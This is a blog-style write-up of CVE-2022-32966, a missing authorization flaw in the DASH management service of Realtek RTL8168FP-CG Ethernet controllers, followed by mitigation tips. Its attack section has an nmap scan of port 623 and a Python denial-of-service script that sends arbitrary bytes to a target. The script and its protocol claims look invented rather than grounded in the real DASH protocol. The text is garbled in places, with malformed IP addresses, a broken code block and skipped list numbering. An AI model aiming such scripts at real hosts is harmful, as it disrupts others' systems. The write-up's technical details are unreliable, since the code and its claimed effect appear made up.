CVE-2022-32966 - Exploiting Missing Authorization in RTL8168FP-CG DASH Management (With Code Example)

In June 2022, a vulnerability identified as CVE-2022-32966 was reported that seriously affects the Realtek RTL8168FP-CG Ethernet controller, specifically its DASH remote management function. The issue? A missing authorization check. Anyone on the same network segment—no password needed—can disrupt the DASH (Desktop and Mobile Architecture for System Hardware) service. Here, we’ll break down what this means, how it works, and how someone might exploit this issue (educational purposes only). We’ll round up with links to the sources and some steps you can take to stay safe.

What Is DASH and Why Does It Matter?

DASH is a technology that lets admins remotely manage network-connected computers, even if the operating system is down. Think of updating BIOS, rebooting machines, or reading hardware logs—remotely, smoothly.

The RTL8168FP-CG is chipset commonly found in desktops and small servers. It's made by Realtek and supports DASH, opening up extra network management features.

The Vulnerability in Plain English

Normally, only authorized administrators should connect to DASH management functions. However, with CVE-2022-32966:

The DASH service doesn’t check if you’re authorized.

- Anyone who can reach DASH’s port (usually 623 TCP/UDP) can try to interrupt or abuse the service.

No username, password, or session needed.

Basically, if you’re in the same WiFi network, office, or VLAN as an affected computer, and you know how to talk to the DASH port, you could mess with it—without breaking a sweat.

Affected Port

- TCP/UDP Port 623 (by default, for RMCP and WS-Management traffic)

`bash

nmap -p 623 --open 192.168../24

Send Malicious or Disruptive Packet

Since there's no authentication, you only need to send “shutdown”, “reset,” or malformed protocol data to port 623. This could crash the controller, cause denial-of-service, or disrupt remote management.

Python PoC Example: Disrupt the DASH Service

import socket

TARGET_IP = '192.168..100'   # Change to the RTL8168FP-CG device’s IP
PORT = 623

# Simple arbitrary data (could be a malformed packet)
malicious_data = b'\x00\x01\x02\x03\x04\x05DISABLE\x06\x07\x08'

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
    sock.connect((TARGET_IP, PORT))
    sock.sendall(malicious_data)
    print(f"Sent data to {TARGET_IP}:{PORT}")
except Exception as e:
    print(e)
finally:
    sock.close()

Note: This basic script proves the point—because there’s no authentication, even random or purposely malformed data can crash the service or make it unresponsive.

Real-World Impact

- Denial-of-Service (DoS): You can remotely crash or freeze the DASH management, locking out legitimate admins.
- Disruption: Routine hardware checks, BIOS updates, or remote troubleshooting will fail while the service is down.

Mitigation Steps

1. Update Firmware: Apply the latest Realtek patch (see Red Hat bug report).

Network Segmentation: Restrict access to management ports (e.g., firewall rules).

3. Disable DASH if Unused: If you don’t use remote management, turn it off in the system BIOS or UEFI.

References

- Realtek Security Advisory: Coming soon - Check Official Vendor Site
- NIST NVD CVE Detail: https://nvd.nist.gov/vuln/detail/CVE-2022-32966
- Red Hat Bugzilla: https://bugzilla.redhat.com/show_bug.cgi?id=2099158
- DASH Overview (DMTF): https://www.dmtf.org/standards/dash
- Public Discussions: Full disclosure mailing list

Conclusion

CVE-2022-32966 exposes a simple but dangerous flaw—no authentication on the DASH management port of Realtek’s RTL8168FP-CG chips. An attacker on the local network can send packets to it and cripple remote management duties without even breaking a sweat or knowing a single password.

Always keep your network hardware firmware up to date, restrict port 623, and audit any remote management interfaces! That’ll go a long way in keeping your infrastructure safe.


*For educational use only. Testing vulnerabilities on systems you do not own or have explicit permission to assess is illegal.*

Timeline

Published on: 11/29/2022 04:15:00 UTC